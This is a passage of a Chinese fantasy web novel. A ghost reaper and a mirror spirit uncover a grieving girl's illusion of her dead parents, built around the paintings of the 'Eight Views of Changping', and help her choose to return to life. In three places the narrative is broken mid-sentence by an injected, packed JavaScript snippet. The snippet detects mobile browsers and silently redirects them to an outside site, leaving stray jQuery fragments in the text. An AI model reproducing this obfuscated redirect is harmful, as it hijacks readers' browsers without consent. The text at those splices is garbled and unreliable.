她心神一动,飞快调出魂力,一寸一寸地扫过屋内的每个角落。苏问衡很快意会到她要做什么,垂眸侧身,不动声色地挡住她的身后。 “苏问衡,”她低声唤道,“你有没有觉得,这屋里魂力的流向有些古怪。” 每一个魂魄都蕴藏着魂力,但凡人的魂力太过薄弱,稍稍不慎就会被忽略。但此时此刻,她却能感知到,整间屋子的魂力几乎都倾斜向了某个方向。 她对魂魄的感知远胜于自己,苏问衡并未怀疑,偏头轻声问:“哪个方位?” “北面。”她极快地回答。 苏问衡慢慢踱到北面,目光逐一掠过面前的书架,忽然凝在了某处。 那是一抹极其隐蔽的青绿色,藏匿在旧书的缝隙里,像是厚厚枯叶下的一点绿意。苏问衡凤眼微眯,抬手取出最前排的旧书,灰尘簌簌垂下,露出一个白釉回纹双耳瓶。 瓶身沾了不少灰尘,瓶口却明净许多,显然是经常有人抚摸或触碰过。苏问衡握住瓶口,稍稍转动。 松木架后面突然传来轻微的“咔嗒”一声,像有什么机关落下。他侧耳听了片刻,屈起手指,沿着第三层的木架耐心地敲过去,最后在某处停下,轻轻一推—— 只听“吱呀”一声,木架缓缓旋转起来,露出了背后一个幽深入口。 “这是什么?陷阱?牢笼?”原昭挑了挑眉,饶有兴趣道。 苏问衡盯着入口后的木阶,唇角轻勾:“进去看看便知道了。” 说罢,他一撩衣袍,率先走下了阶梯。 8. 镜里观 通道深不见底,两侧的石壁粗糙寒凉。脚下的木阶应该是空心的,踏上去轻微作响。原昭化出鬼形,青烟一缕地向下飘去,苏问衡走在她身侧,一路无声。 约莫过了半柱香,通道在一扇木门前戛然而止。门上挂着一把粗大铁锁,原昭掌中原本已经聚起青光,想了想,又幻出银针,飘上前,插进锁扣中,轻轻一转。 “赵姑娘真是——”苏问衡忍俊不禁,想了想,含蓄道,“多才多艺。” “我的魂力可是很珍贵的,少用一点是一点。”锁扣里传来咔嗒一声轻响,她头也不回,径直推开了门。 叮铃铃—— 许是他们推门的动作带了风,惊响了屋内的风铃。原昭循声看去,原来是挂在床沿下的一小串木铃,缀着几朵桂花,正随着铃声摇摇晃晃。 再往下看,床上的棉被叠得齐整,或许是洗过太多次,被罩上的花团锦簇有些泛白。床边摆了一张小木杌,上面放着一块绣布。 南向的窗户紧闭,若是在地面上,此时应有暖阳铺洒进来。 “怎么了?”苏问衡察觉出她的失神。 “这里,”她拢回目光,轻声道,“是何九安母亲离世前居住的地方。” 为了给母亲治病,何九安卖掉了祖宅,搬进永兴巷的一间小宅中,夜夜与母亲同住在一起。 少女的神色极淡,两人相识以来,苏问衡还未见过她露出这幅神情。然而还未来得及说话,她又转了语气,高扬起下巴。 “你都不知道,当时我也是第一次勾魂,她哭哭啼啼的,可麻烦了。” 说是麻烦,却还记了这么久。 苏问衡倒也没揭穿她,顺着她的话道:“嗯,那赵姑娘可还记得,当日还有什么古怪之处吗?” 他的声音平静温凉,如山泉一般,汩汩抚平她心底莫名的烦躁。原昭冷静下来,思索片刻,道:“倒也说不上十分古怪。那日余英的魂魄本不愿离去,直到何九安拿出一本册子,跪在床前念给她听,她听完后长叹一声,才跟着我离开。但鬼魂留恋人间是常有之事,我当时也没有多想。” 于英便是何九安母亲的名字。 苏问衡原本只是见她怅然,闲提一嘴罢了,却不想真的有收获,于是道:“你可记得她从哪里找出的册子?” 原昭微拧起眉,目光慢慢扫过房间,半响,忽然抬脚朝着北面的衣橱走去,一把拉开橱门。 橱中衣物不多,堆堆叠叠只占了不到一半,想来是还原了当时的场景。衣物旁还整齐垒着一沓画卷,占满了剩下的衣橱。原昭随意一扫,发现竟然又是《长平八景》。 “奇怪,为何还有这么多《长平八景》?” 但现在暂时不是细究这个的时候,画卷最上方还放着一本册子,原昭弯腰将它拾起,翻开一页,却发现上面空无一字。 “空的?” 她不死心地翻了几页,却都是空白的。然而书角翘起,纸张泛黄,摸上去凹凸不平,说明这上面曾有过字迹,还被人多次翻阅过。 看来又是幻境的把戏了。原昭轻哼一声,掌中聚起青光,打算强行逼出它的真貌。 “让我来吧。” 一双修长的手突然从她面前抽走了册子,原昭有些讶异,侧头看着不知何时站到身后的青年。 “从幻境离开还得仰赖姑娘珍贵的魂力,这等小事,就让在下来吧。” 他淡笑道,瞳孔深处骤然升起白光,向四周翻涌而去。眼尾仿佛两簇妖异张扬的焰火,眼中却澄澈如明镜。清辉流转间,倒映出衣橱、书册,还有她微微睁圆的杏眼。 “这是……” 他看着那双骤然亮起的眸子,温声道:“这是镜灵一族的秘法,将镜光覆在双眼上,就能照出事物的本相。” 原来如此。 能诞出镜灵的多半也是凡世间难得一见的明镜,本身就能透过伪装,照出事物的本相。若空白书页是有人刻意隐瞒,那这镜子中映照出来的,应当就是何九安真正的想法。 “那你之前和我打架时用的术法也是……”她突然想起那时的情境。 苏问衡轻咳一声:“在下胜之不武,失礼了。” “谁说你赢了?出去我们再打一场。”她翻了个白眼,一掌拍在册子上,恶狠狠道:“你现在可得把这册子看仔细了,否则……” 她冷哼两声,苏问衡失笑,想了想,忽然朝她伸出手。 “来。” 这一举动有些突然,反倒把原昭吓了一跳,不明所以地看着他。 “你这是……” “嗯?”苏问衡的手顿住,剑眉拧起,有些不解,“我记得古籍上记载,酆都秘法最是看重仪式。若想与他人共享感官,上策是直接相接,中策是对面相望,下策才是凭空相连,莫非是我记错了?” 原昭有些汗颜,他竟是连古籍上给的口诀小抄都记得。 她抿了抿唇,难得有些踌躇,思索片刻,还是实诚道:“我不想遭罚,所以有些事情要和你说清楚。先前你我虽然魂魄相连,但触之即离,所建立的共鸣很浅,只能起到对话的作用。但如果共享感官,那可能不止你的所见所闻,连你的所思所感都会被我察觉。” 说到此,她戏谑地挑眉看他:“我是红尘外的鬼魂,无心也无情,自然无所谓。可你终究还在红尘中,感情、心绪依旧会为俗世牵动,你确定要与我共享?” 姑娘还是会怕罚的人?他本想如此调侃一句,但看着原昭难得正色的眸子,他也认真道:“这屋子本是你找到的,若我看到了真相却不与你共享,岂不是不公平?” 他说得坦荡,好像他的脑子就是一座敞开的仓库,随时可供人查看。若是平时,原昭定会嘲笑这人在说空话,但看着他坦然的眼神,她忽然觉得,他似乎确实是这么想的。 “你可以看了之后告诉我。” 他有些意外,随即轻笑起来。 “不一样的。赵姑娘,你应当清楚,这不一样。” 原昭听懂了他话中的意思,慢慢敛起了笑容。 他说的没错。他们不过初初相识,各怀目的和心思,若全都交由他解释,她确实会心生怀疑。 苏问衡依旧保持着原先的姿势,掌心向上,骨节分明,在幽幽烛光照映下,像出尘不染的白玉竹。 既然他都不在意,她有什么好在意的?原昭忽地也笑了,一把拍上青年的手掌,大大方方道:“那我就不客气了。” 说罢,她掌心里涌出薄薄青光,将二人的双手包裹起来。 起初并无甚变化,后来便感觉有薄雾一般的东西攀上了眼眶,待到那股异样感散去,面前的册子上已经悄然浮现出大段大段的文字。 字迹遒劲有力,洋洋洒洒写了长长一篇。内容无甚奇特,只是记载了一家三口在长平山上游玩的经历,共写了八个地点,取名《长平八景》。 落款是何君道,何九安的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854743|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲。 “也就是说,这《长平八景》原先是何君道写的一篇文章,后来何九安想根据文章请人作画,在生辰宴上送给爹娘?”原昭看着册子,歪头说出自己的疑惑:“可是,既然原文写的是三人同游,为何到了画上,就只剩下两人了呢?” 苏问衡注视着面前的册子,沉声道:“或许,我们得再看一次那些画卷。” “喏,这里就有。” 原昭从衣橱中随手抽出一幅,画上画的正是何君道和于英对着长亭并肩而立,与先前看过的并无不同。 两人等了片刻,画面忽然模糊扭动了起来。在那两道身影中间,赫然出现一个粉色小点,渐渐向四周晕开,最终变成一个扎着双环髻的女童。 “原来如此。”苏问衡低笑一声。 他伸手想拿起画卷,原昭却突然将他的手按住,昏暗烛火打落在她的长睫上,投落一片阴影。 “等一下。” 少女眸中一片冷意,她将画卷合起,旋身扎进了衣橱里。苏问衡见状也不说话,伫立在她身后,看着那一叠画卷顺着她的指尖飞快落下。 翻到最后一张时,原昭捏住卷轴一角,沉默了片刻,慢慢站起身来,道:“这些画卷里,都被人注入了魂力。” “注入了魂力?”苏问衡有些不解。 “没错,每一张画卷中都蕴含着一小簇微弱的魂力,而这些魂力,似乎起到滋补魂魄的作用。” 她垂眸看着苏问衡手中的画卷,神色晦暗不明:“如此微薄的魂力对我自然没什么作用,但在幻境里,它可以让那些本就没有魂魄的东西暂时拥有灵智。” “你是指,幻境中的傀儡?”苏问衡神色一动。 “对,要完全骗过中咒人,幻境中的傀儡就必须拥有必要的灵智,比如之前的阿福。但我们遇到的那个‘何九安’却明显超出这个水平,甚至拥有自己的想法和判断。起初我以为是因为她的身份特殊,现在想来,或许是这些画卷起到了传递魂力的作用。” “这幻境中的活人只有一个,能够被利用的魂魄也只有一个,那就是真的何九安。”苏问衡缓缓道。 凡人的魂力微乎其微,但并不是完全没有,若有人将她的魂力一点点从魂魄中剜出…… “对,所以我之所以感知不到她,可能不是因为她被藏起来了,而是她的魂魄已经非常微弱了。”原昭柳眉一耷,叹了口气。 她话音落下,头顶忽然传来一声巨响。 轰! 原昭一愣,侧耳听了片刻,面色一变,沉声道:“不好,我们得快些离开这里。” 她丢下画卷,手中幻出赤金鞭,快步走向门口,拉开木门—— 一股热浪迎面袭来。 熊熊火光将两侧石壁映得通红,木阶在火中滋滋作响,尖锐刺耳。两人对视一眼,同时捏了诀,朝着上方掠去。 “这不是寻常的火,”原昭忽然开口,“这其中的怨念……很强烈。” 苏问衡望着面前渐浓的烟雾,眸中的白光骤然盛了几分,淡淡道:“火势猛烈,我的镜光无法完全去除,赵姑娘小心。” 眼前清明了一瞬,原本被浓烟淹没的石壁逐渐清晰起来。原昭想了想,突然握住苏问衡的手。 微凉的青光从她掌心中涌出,很快覆满二人全身。 苏问衡有些意外,侧目看向她。少女神色如常,只手上微微用力。 “别松手。” 9. 常叹惋 两人径直闯进了火海中,火舌贪婪舔舐着他们的肌肤,苏问衡很快就感觉到了热意。好在那青金光罩始终顽强,紧紧握住他的那只手也不曾放开,源源不断地提供一丝清凉。 “赵昭姑娘。” 他忽然开口,赤红火光倒映在他眼中,烈烈翻涌。 “外力能否如此大规模地改变幻境的形态?” “不能。”她答得肯定,脚下步履不停,“即便是我,最多也只能替换一个婢女。” “若我此前不来,你会来这画馆吗?” “会。” “为什么?” “因为何九安在我面前倒下了,而蒋娘子是最有嫌疑的。” “那如果你是蒋娘子,你会做什么?” “那还用说,肯定是想办法把我们困住啊。” 她忽然意识到什么,脚步猛地一顿,不敢置信地回过头。 “你是说……” 苏问衡看着她,眸中镜光璀璨明亮,竟比这漫天火焰都要夺目几分。 “我想,或许我们已经见过真的何九安了。” ………………………… 又是一个晴朗天。薄雾透出朦胧日光,街道上人影稀疏,木板车碾过青石板路,一路嘎吱嘎吱地远去。 永兴巷的一间小屋里,纱帘半遮半掩。一个倩影坐在铜镜前,定定地注视着铜镜中那张面容。 眉眼浅淡,两颊深陷,嘴唇苍白干裂。枯瘦的手指动了动,拈起桌上的胭脂,在唇边轻轻一抿,总算给那张寡淡的脸添上一点颜色。 她收回目光,戴上帷帽,拿起一旁的卷轴,起身向外走去。 清晨薄雾已经消散,日头攀上长平山,渐渐显露出清明的景象。街上的人影多了起来,有人认出了她,热情地朝她招手问好:“蒋娘子。” 她浅笑着点了点头,素白裙摆在风中鼓动,细雨一般朝何家飘去。 何家早早就忙起来了,圆脸婢女跑进跑出,忙得双颊通红。蒋娘子在不远处停下脚步,静静地看了片刻,才柔声唤道:“阿福!” 阿福眼睛一亮,提起裙摆噔噔噔地跑下台阶。 “蒋娘子,您来啦!” “跑慢点。” 蒋娘子嗔怪道,语气中带了一丝自己都没有察觉的亲近。 阿福吐吐舌头,亲昵地挽起她的手臂。蒋娘子没有拒绝,扶着她的手,慢慢走进大门。 “你家姑娘呢?” 阿福一听,圆脸皱成了汤包状,恹恹道:“可别提了,姑娘昨夜染了风寒,如今还躺在床上,怕是今天不能出席了呢!” 蒋娘子神情淡淡的,像是毫不意外:“这也是没法的事,总归这宴席是办起来了……喏,这是昨日修改的画,你拿去放好。” 阿福小心接过卷轴,揣进怀里放好。蒋娘子见她乖巧,不由得伸手将她汗湿的碎发捋到耳后,俏皮眨了眨眼,小声道:“我给你带了些糕点。” 说罢,她从怀里取出一个鼓囊囊的油纸包。阿福目中闪过一丝诧异,很快又隐匿下去,伸手接过纸包,放近鼻尖深深一嗅,夸张道:“好香呀!” 蒋娘子扑哧一声笑了,像看孩子似的看着她:“这么大的人了,怎么还跟孩子一样。” “娘子对我好,我当然和孩子一样啦。”阿福摇晃着蒋娘子的手臂,撒娇道。 蒋娘子笑叹着拍了拍她的手臂:“喜欢便好,我也不绊着你了,去忙吧。” 阿福脆生生地应了是,转身蹦蹦跳跳地跑远了。蒋娘子目送着她远去,失笑摇头,自言自语道:“当真是个孩童心性。” 宾客都到齐时,日头已经高照。庭院中的高树抖擞下缕缕金丝,鸟雀啼鸣,一声高过一声,报喜般地送进厅堂。 主位上端坐着一男一女。男子约莫三十余岁,一身长褂笔直,圆脸短须,双目炯炯炯炯有神。座上几个学子打扮的年轻后生躲闪着目光,恨不得把头埋进桌子底下。 身侧的绛衣女子见了,不着痕迹地拧了一下男子后腰,细目微嗔。 “这不是你的学堂,收敛一些!” 何君道一愣,忙低声道:“夫人教训得是。” 他轻咳一声,端起一杯酒,站起身来,朗声道: “今日有幸邀得诸位莅临,实属我何家荣幸。今天设宴,一是想替小女庆贺下生辰,二是想向诸位表达感谢。 “小女九安年方十五,本不该太过铺张,但自从她出生以来,体弱多病,能平安成长至今,实在仰赖各位关怀照拂。因此,今日我与夫人特备薄宴,以表心中谢意。这第一杯酒,就允许我先敬给各位。” 他说话时带了夫子文绉绉的通病,喝起酒来却毫不含糊,众人一片叫好。何君道笑了笑,抬手又给自己斟了一杯。 “可惜九安昨夜染了风寒,不能亲自向各位道谢。因此,第二杯酒便由我代饮,还望各位父老乡亲们海涵。” 说罢,他仰头喝下第二杯。众人喝彩声愈发高涨,蒋娘子远远看着,面上却无动于衷,提起酒壶,也给自己斟了一杯,一饮而尽。 “这第三杯嘛……” 何君道顿了顿,将酒杯放下,在空中拍了三拍。 厅堂的门吱呀一声推开,阿福领着四个大汉,推着八台半人高的画架走进来,在何君道面前站定,将画架一字摆开,垂手退到两侧。 何君道端着酒,踱步到了画前。 “这第三杯酒,是想邀诸位共赏小女的画作。” 他的目光落在罩着画架的红布上,神色异常温柔。 “九安小的时候,我和夫人常常带着她到长平山中游玩。长平山风景清丽,其中有八景,当属一绝。” 此话一出,座下众人兴致愈发高涨。蒋娘子恍若未觉,伸手抓起酒壶,抵着杯沿缓缓倾斜。 清酒泻进杯中,男子浑厚低沉的声音响起,仿佛从天际那边遥遥传来。 “这第一景,是半山北亭,我和夫人在这里相遇。” 酒液荡开酒水,在晃动的水光中,仿佛出现一个宽阔背影。 “那时我与夫人说,日后若生了女儿,定要带她来这里看看。” 那背影将一个女童举过肩顶,女童咯咯笑着,兴奋地指着亭上的碧瓦,咿呀学语。 “这第二景,是山谷红枫,夫人说,若是女儿爱读书,就把这红叶拾起来给她做书签。” 酒壶一抖,那水光倏然变化,映出一个红衣倩影,弯腰将红叶一片一片捡起。 “我说,若女儿生来惫懒,可如何是好?” 倩影回过头来,看见女童耍赖不走,蹲下身,笑着刮了刮她的鼻尖。 “这第三景,是常乐溪,九安小的时候,最喜欢在这里玩耍。” 酒液泼洒出来,溅落在桌上。她漠然地低下头,在那摇摇晃晃的水珠里,望见一张稚嫩笑靥。 她伸出手,一下一下地,用力将水珠拭去,笑靥消失不见。 “第四景为逮扑朔,九安救过一只雏兔,特意带到这里放归。” “第五景为星斗柄……” “第六景为空山石……” “第七景为薄烟岚……” “第八景……” “我知道我知道!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854744|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清脆的孩童笑声打破了深山的空寂,女童甩开爹娘的手,绕着脚下转圈圈。 “第八景是影子!这是阿娘的,这是阿爹的,这是我的!” 如水月光铺洒林间,筛落一地流光的树影。 后来啊,后来。 少女在同样的月光中,从长平山脚下拉回自己的爹娘。 “第八景便是月影,九安在月下奔走之时,不过堪堪及膝,而今已经亭亭玉立。 “白驹过隙,日月如梭,我担心一日自己会忘记那时情境,便作长文一篇,题为,《长平八景》。” 蒋娘子失神地听着,有什么东西沿着她尖尖的下巴落下,滴入酒中。 半响,她缓缓抬起头来。 红布翩然落下,八幅画卷上景色清丽,一男一女并肩而立。 而在那两人身侧,渐渐浮现出一个小小身影。 她一愣,豁然起身,面色煞白。 不,不对! 她推开酒壶,跌跌撞撞地跑向画架。 那个身影渐渐清晰,一幅穿着枣红团花纹棉袄,一幅披着月白的斗篷,另一幅又扎了双丫髻,穿着一件青绿色的小袄。 她淋着月光,踩在山路上、坐在男子肩上、躺在女子怀里。 不可能、这不可能! 她明明,明明都将这一切给烧掉了啊! 蒋娘子扑倒在画架上,急切地擦拭。然而越是擦拭,那张面容就越是鲜艳。 脸颊瘦小,双眸明亮,笑起来时,露出缺了一个的门牙。 她松开手,跌坐到地上。 画卷顷刻变化了姿态,山水、男女、还有幼童,全都消散不见,化成一面方镜伫立在她面前。 在那镜子中,映出一张憔悴的面容。 眉眼细长,面色苍白,眉尾一点青色小痣。 她这才发现,原来自己的帷帽和面纱不知何时已经掉落。 “何九安。” 那镜面忽然波动起来,逸出一声轻轻的叹息。 “回头吧。” 那声音无悲也无喜,仿佛上天降下的神谕。蒋娘子一愣,连滚带爬地扑上去,摇着镜身急声道: “你是神仙吗?我求求你,求求你救救他们,救救他们吧!” 她跪倒在地,拼命磕头。泪水迸出眼眶,砸落地面,混入鼻腔。恍惚间似乎有什么柔软东西缠上她的手臂,她用力挣脱开,“咚”地一声磕在石板地上,长叩不起。 “我求求你、求求你了……” 救救我爹爹阿娘啊…… 地面忽然猛烈地摇动起来,房梁上的灰尘簌簌掉落。蒋娘子瞳孔一缩,猛地朝何君道和于英二人扑去。 镜子里传来一声断喝:“就是现在!” 原本垂手默立的“阿福”跳窜起来,化作一缕青烟,卷起蒋娘子的腰飞快向外掠去。蒋娘子目眦尽裂,疯狂挣扎。 “爹爹!阿娘!” 那青烟却不管不顾,裹紧了她,几个纵掠就到了门外。 少女的清脆喝声骤然响起: “我带着她先走,苏问衡你自己小心!” 耳边风声飒飒,蒋娘子仓皇回望。只见灼灼天光之下,何家瓦檐渐渐暗淡。一男一女垂头默立在阴影深处,看不清神情。 泪水模糊了她的双眼,风又将它吹落。她努力睁大眼睛,试图将这一幕刻进心里。 在朦胧一片中,她看见一道颀长身影自镜中缓缓踏出。 无数银白细丝自他身侧垂落,汇入地面,飞上高空,最后消失不见。 天光凝了一瞬,终于重新归于平静。 10. 到头空 不知掠过多久,那股青烟总算慢了下来,挟着蒋娘子慢慢地在一片空地上停下。 蒋娘子只觉得腰上一松,双腿绵绵地往下坠。眼看就要跌坐到地上,一双手及时托住了她。 那双手寒凉如霜,蒋娘子一个激灵,清醒过来,顺着手臂慢慢往上看。 一张紧绷着的瓷白小脸映入她眼中。 少女的脸庞白得出奇,定定地注视着她,半响,垂下眼眸,用了点力,将她小心扶到地上坐下。 蒋娘子怔怔地顺着她的力道坐下,忽然反应过来,猛地反握住她的手臂。 “你们是神仙是不是?求求你们救救我爹娘!” “何九安,你冷静一些。” 蒋娘子,不,何九安恍若未闻,赤红着双眼,像溺水的人抓住了最后一根稻草似的,紧紧地抓着她。 若是神仙,若是神仙…… 为何不救?! 她的身子颤抖起来。 “够了!” 原昭终于忍不住,猛地握住她的肩膀,一字一句道: “何九安,你清醒一点。他们不会想看到你现在这个样子。” 何九安一怔,双手颓然落下。 “是啊,他们哪里会想看见我呢?”她喃喃道。 “……你怎么会这么想?” 闻言,原昭纳闷地看着她,一副不能理解的样子。 “你阿娘可不是这么和我说的。” 她苦恼地抓了抓脑袋,半响,叹了口气,盘腿在何九安面前坐下。 “罢了,挨骂就挨骂吧。都这个时候了,告诉你也无妨。你的阿娘,是个很坚强的人。 “我见过许多鬼魂,他们或是因为害怕,或是因为悔恨,往往在黄泉路上嚎啕大哭,一边哭着,一边咒骂我们。 “但你的阿娘没有,从始至终,她只说过两句话。 “两句话,都是关于你。” 第一句话,是于英的鬼魂看着她的脸,喃喃道:“你看起来,倒是和我女儿差不多年龄。” 身后的牛头马面轰然大笑:“这位娘子,这你就认错了,这位可比你女儿大了几百岁。” 女鬼再次仔仔细细地端详她,半响,叹惋一声。 “而第二次,”原昭拢回目光,落到眼前不知何时抬起头来的女子身上,“是在望乡台上,她看到了你。” 望乡台,顾名思义,就是能望见家乡的地方。每个鬼魂来到酆都之后,都有机会上一次望乡台,最后看一眼自己的家乡。 于英登上望乡台时,原昭就在台下等着,左脚累了换右脚,右脚累了换左脚。 如此换了十几次脚,她的耐心终于告罄,抬头看了眼天色,转身上了台阶。 沉沉阴雾萦绕着望乡台,不断地聚拢翻涌。于英倚着栏杆,痴痴地望着雾中的某处。 原昭走到她身后,循着她的目光看去,在那雾气中,看到了一个瘦弱的身影。 十五岁的何九安一身素白,跪在两座坟前,伸手拂去坟头上的枯叶。 那时正是深秋,枯叶一片一片地往下掉,她就一片一片地摘去。神情温柔而专注,好像她拂去的不是落叶,而是母亲棉被上的灰尘。 于英忽然泪如雨下,猛地转过身,朝着原昭直直地跪了下去。 两柄精钢叉立即架在了她的脖子上,一旁的鬼卒厉声喝道:“于氏,你要干什么?” 原昭摆摆手,示意他们退下,低头看着她。 “于英,你可是还有什么心愿?” “小人此生不敢再有心愿,只是、只是……” 于英抬起头,声音颤抖。 “小女性格执拗,今日遭遇如此变故,恐怕一生都难以解开心结。小人生前没能开导她,若她日后有缘见到大人,能否请大人告诉她,这辈子有这样一个女儿,是我夫妻二人毕生幸事。望她千万千万,莫要沉溺于前尘往事,珍重前路。” 其实活人哪里有遇到鬼差的机会,那时原昭只是当她是病急乱投医。但现在想来,这位母亲的目光,或许早已从女儿生前,一直望到她身后了吧。 不管原昭会在什么时候遇见何九安,不管那时何九安是死了还是活着,她都希望,自己的女儿能够快快乐乐地、没有负担地走向下一个明日。 原昭圆眸莹亮,像冬日的晨曦那般清清冷冷,落在人的身上,却又有几分暖意。她敛起了笑意,难得带了认真,一字一句道: “你恨你自己,认为是你害死了你爹娘,为此想要抹去所有他们爱你的痕迹。但你阿娘说,她从未怪过你。 “相反,她很爱很爱你。” 一滴泪挂在女子的长睫上,当原昭最后一句话说完时,那滴泪终于循着女子的脸庞,重重地坠了下来。 “我怎么配,怎么配……” 她将头深深埋进膝盖里,不住颤抖。 她还记得,那日在梦中醒来,看到那个姑娘的第一眼。 细长的眉眼,青色的小痣,分明和她一模一样的面容,却比她更加明艳灵动。 她一袭熟悉的鹅黄衣裙,双颊红润,眼眸明亮,依偎在梦中阿娘的身边,像一只黄幼蝶敛起翅膀,小心翼翼地啄在艳红花上。 少女说了句什么,两人一起笑起来,日光越过屋檐,柔柔罩在她们身上,投下两道斜斜的倒影。 温暖,鲜活。 那一刻,她恍然觉得,阿娘那么好的人,配得上这世间最好的女儿。而像她这种只会拖人后腿、害死别人的废物,就躲在角落里、烂在阴沟里,永世不能出现! “你若真这么想,那把火就该烧掉所有了。” 青年淡淡的声音突然响起,一袭白衣在何九安身前落下,居高临下地看着她。 “火?”何九安有些茫然,半响,忽然反应过来,急切起身道:“那些东西……” “放心,没烧掉。”苏问衡瞥了她一眼,淡声道:“你放的那把火,没能烧进密室里。” 昨夜他们闯到通道尽头后惊讶发现,火势蔓延到密室门口就停下了,火焰蠢蠢欲动,却只敢在木门前来回徘徊,不敢越雷池一步。 “幻境中的一草一木皆随你的心愿而生,若你真的想要将它们毁掉,一扇木门是拦不住的。没能烧进去的原因只有一个,那就是你也不想烧掉它们。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854745|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同理,你不希望有任何人分走爹娘对你的疼爱,所以在最后时刻,你让那个假‘何九安’生病了,对吗? “没有人逼迫你,何九安,是你始终不愿放过自己。” 他这番话太过锐利直白,何九安终于抵挡不住,泪水断珠似的滚落下来。 “是我,是我自欺欺人,是我私心作祟……” 原昭惊异地看了苏问衡一眼,他神色淡漠,古井无波,仿佛眼前发生的一切都与他无关,他只是个旁观者,冷眼看着何九安在其中挣扎。 看似如玉般温润,触之又有清寒沁骨。 简直就像那些不食人间烟火的神仙一样。 这个念头一冒出来,她晃了晃脑袋,暗笑自己昏了头。 哪个神仙的魂力会这么微弱呢? 又听何九安嗫嚅道:“我、我该怎么办呢?” 她抬起头来,泪眼朦胧地看着他们:“我是要死了吗?” “是。”原昭回过神,干脆利落地点头,“但现在,你还有两个选择。” 她身后的云雾翻涌,渐渐撕裂出两条通道。 左边那条白光绵绵,安宁祥和;右边那条幽黑晦暗,深不见底。 原昭不满地瞪了苏问衡一眼:没事搞得那么唯美作甚,衬得她通往现世的路都不美好了。 不过现在都不重要了,她竖起右手食指,对着何九安道: “第一个选择,走左边的路,你会再睡一觉,做一个好梦,梦醒来时,一切就结束了……放心,我向你保证,你不会在这个梦里受到任何伤害。” 少女说得格外庄重,苏问衡有些意外,不由得挑眉看她。她没有理会,竖起第二根手指继续道: “第二个选择,走右边的路,你可以回到现实中,但这个过程会比较痛苦。你可能会走得很难,会跌倒、会受伤,之前在幻境中所产生的一切情感,都会被幻境加倍地施还于你。我只能向你保证,我会尽力保护你。” 何九安听得一愣一愣,原昭喘了口气,看了何九安一眼,迟疑片刻,缓缓道: “还有一事,我想我应该告诉你。 “方才我同僚来信,说邵景已经到了长平山脚下,但不确定他能不能顺利找到这里,即便找到了,你们最多也只剩下一炷香的时间。 “要不要回去,何九安,你,自己决定吧。” 何九安怔怔听着,脑海里蓦然闯进一个身影。 高高的个子,清瘦的肩头,背着她一路走过长长的山路,最后在山坡上停下。 微风裹着草叶的清香送进她的鼻腔里,山下灯火绵延,各家炊烟袅袅升起。相隔遥远,孩童的笑声依稀可闻。 她暂时放下心结,扭过头来,猝不及防地落入少年温柔而专注的眸子里。 “你、你在看什么?”她有些慌乱,强撑着问他。 少年却毫不避让,从怀里摸出一块铜镜,小心翼翼地系在她的手腕上,笑着道: “我在想,这长平第九景,应当是何九安才对。” 何、九、安。 少年的声音温和清冽,像那日吹过竹林的山风,誓打破这令人沉迷的幻梦。 11. 问谁心 天色昏沉,狂风呼啸,一轮红日渐渐沉下。幽深裂口从它背后升起,取而代之,高高悬挂在天际。 裂口中,一抹素白随风飘荡。 她走得很慢,浓郁黑雾缠绕在周围,她奋力将它们推开,跌跌撞撞地向前走去。 原昭坐在屋顶上,托着腮,一动不动地凝望着那道人影。 她已经保持着这个姿势许久了,狂风将她的裙摆层层撑起,像一朵孤寂的青莲。 青年淡淡的声音在耳畔响起,带着不易察觉的清浅笑意。 “何九安不是选择回去了吗?赵昭姑娘怎么反倒沮丧起来了。” “没什么。”原昭回过神来,懒散道。 她似是有些累了,双膝屈起,下巴靠过去,搁在两膝之间。 原本明亮的眸子有些失神,空空的,像是落在那道裂口上,又好像不是。 忽然又没头没尾地问:“苏问衡,你说凡人到底在想些什么?” 苏问衡侧目看她,温和道:“赵姑娘是指什么?” “昨夜你和我说,何九安或许是恨透了自己,才想将所有痕迹抹去。我……原本是不信的。” 原昭换了个姿势,侧脸压着膝盖,望着他:“她明明很爱她爹娘,为何还要将这一切抹去?既然要抹去,为何还要创造另一个自己?已经创造出来了,为什么,又要厌恶她?” 这些问题一气抛出来,像是一旦停下就会被他拒绝似的。长睫微微颤动,向来骄傲狡黠的杏眼此刻湿漉漉的,看上去竟是有些……无措。 苏问衡垂眸看她,莫名想起了罗伊山上的仙鹿。 确实很像啊。他暗暗想。 凡人充沛的情感倾盆而下,她径直冲入了大雨中,却无法理解雨落下的原因,只能眼睁睁地看着她想拯救的凡人,从这场雨里走进了另外一场。 留她一人像小兽一般,困在了雨中。 当然这话是断断不能说出口的,不然以少女的脾气,大抵会立刻转身就走。 